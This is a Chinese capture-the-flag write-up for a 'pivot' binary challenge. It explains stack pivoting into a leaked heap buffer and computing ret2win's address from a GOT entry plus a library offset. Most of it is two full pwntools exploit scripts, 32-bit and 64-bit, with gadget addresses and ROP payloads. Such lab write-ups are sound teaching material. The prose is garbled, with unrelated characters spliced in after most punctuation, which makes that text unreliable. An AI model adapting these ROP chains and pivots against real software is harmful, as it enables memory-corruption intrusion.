這道題有兩次輸入乳乌,第一次輸入到堆中臭笆,第二次輸入到棧中叙淌,而且很明顯第二次的可溢出大小不夠用來構(gòu)造rop鏈秤掌,所以我們需要將rop鏈構(gòu)造在堆中,然后利用棧遷移來執(zhí)行rop鏈鹰霍。題目中也將堆的地址打印了出來 机杜,降低了不少難度。
給出的.so文件有這個函數(shù)可以用:
void __noreturn ret2win()
{
system("/bin/cat flag.txt");
exit(0);
}
顯然我們構(gòu)造的rop鏈要能夠控制程序跳轉(zhuǎn)到這個函數(shù)去執(zhí)行衅谷,這里需要用到計算偏移
elf函數(shù)中只有foothold_function在.so中也出現(xiàn)椒拗,而且也在got表中,所以ret2win的真實(shí)地址可以結(jié)合foothold_function算出來获黔,這里需要注意的是蚀苛,需要先將foothold_function函數(shù)調(diào)用一次,got表中才有foothold_function的真實(shí)地址玷氏。
這里說一下我踩過的坑堵未,偏移有兩種算法:
1、真實(shí)地址-libc地址
2盏触、兩個licb函數(shù)地址相減
一開始我用第一種方法算偏移渗蟹,理論上來說兩種方法都沒錯,但是因為函數(shù)需要調(diào)用一次后才能在got表中有真實(shí)地址赞辩,所以直接拿got表中的地址來當(dāng)真實(shí)地址的錯的雌芽,所以最好使用第二種方法算偏移,然后在構(gòu)造rop的時候?qū)⑵渲械囊粋€地址調(diào)用一次使得got表中有它的真實(shí)地址再拿去加偏移就能得到目標(biāo)函數(shù)的真實(shí)地址辨嗽。
exp:
from pwn import *
sh = process('./pivot32')
elf = ELF('./pivot32')
libc = ELF('./libpivot32.so')
foothold_plt = elf.plt['foothold_function']
foothold_got_plt = elf.got['foothold_function']
foothold_sym = libc.symbols['foothold_function']
ret2win = libc.symbols['ret2win']
# offset = int(foothold_got_plt - foothold_sym) 這里就是直接用got表的地址去算偏移世落,其實(shí)是錯的,因為foothold_function函數(shù)沒有調(diào)用過糟需,got表中并不是真實(shí)地址
# offset = int(ret2win - foothold_sym)
offset = ret2win - foothold_sym
#offset = foothold_sym - ret2win 這里算偏移的時候要注意結(jié)果不能為負(fù)數(shù)
sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
leakaddr = int(sh.recv(10),16) #接收題目打印出來的堆地址
print hex(leakaddr)
pause()
add_eax_ebx = 0x080488c7
mov_eax_eax = 0x080488c4
pop_eax = 0x080488c0
pop_ebx = 0x08048571
call_eax = 0x080486a3
leave_ret = 0x080486a8
payload_1 = ""
payload_1 += p32(foothold_plt) #將foothold_function函數(shù)調(diào)用一次
payload_1 += p32(pop_eax)
payload_1 += p32(foothold_got_plt) #上面調(diào)用了一次這里就是真實(shí)地址了
payload_1 += p32(mov_eax_eax)
payload_1 += p32(pop_ebx)
payload_1 += p32(offset)
payload_1 += p32(add_eax_ebx)
payload_1 += p32(call_eax)
sh.sendline(payload_1)
payload_2 = ""
payload_2 += 0x28 * "A"
payload_2 += p32(leakaddr-4) + p32(leave_ret)
sh.sendline(payload_2)
sh.interactive()
64位exp:
from pwn import *
sh = process('./pivot')
elf = ELF('./pivot')
so = ELF('./libpivot.so')
foothold_plt = elf.plt['foothold_function']
foothold_got_plt = elf.got['foothold_function']
footold_sym = so.symbols['foothold_function']
ret2win_sym = so.symbols['ret2win']
offset = ret2win_sym - footold_sym
sh.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
addr = int(sh.recv(14),16)
print hex(addr)
pause()
mov_rax_rax = 0x0000000000400b05
add_rax_rbp = 0x0000000000400b09
pop_rax = 0x0000000000400b00
pop_rbp = 0x0000000000400900
pop_rdi = 0x0000000000400b73
call_rax = 0x000000000040098e
# pop_rsp_r13_r14_r15_ret = 0x0000000000400b6d
xchg_rax_rsp = 0x0000000000400b02
sh.recvuntil("> ")
payload_1 = ""
payload_1 += p64(foothold_plt)
payload_1 += p64(pop_rax) + p64(foothold_got_plt)
payload_1 += p64(mov_rax_rax)
payload_1 += p64(pop_rbp) + p64(offset)
payload_1 += p64(add_rax_rbp)
payload_1 += p64(call_rax)
sh.sendline(payload_1)
sh.recvuntil("> ")
payload_2 = ""
payload_2 += 0x28*"A"
payload_2 += p64(pop_rax) + p64(addr) + p64(xchg_rax_rsp)
# payload_2 += p64(pop_rsp_r13_r14_r15_ret) + p64(addr) + p64(3) + p64(4) + p64(5)
sh.sendline(payload_2)
sh.interactive()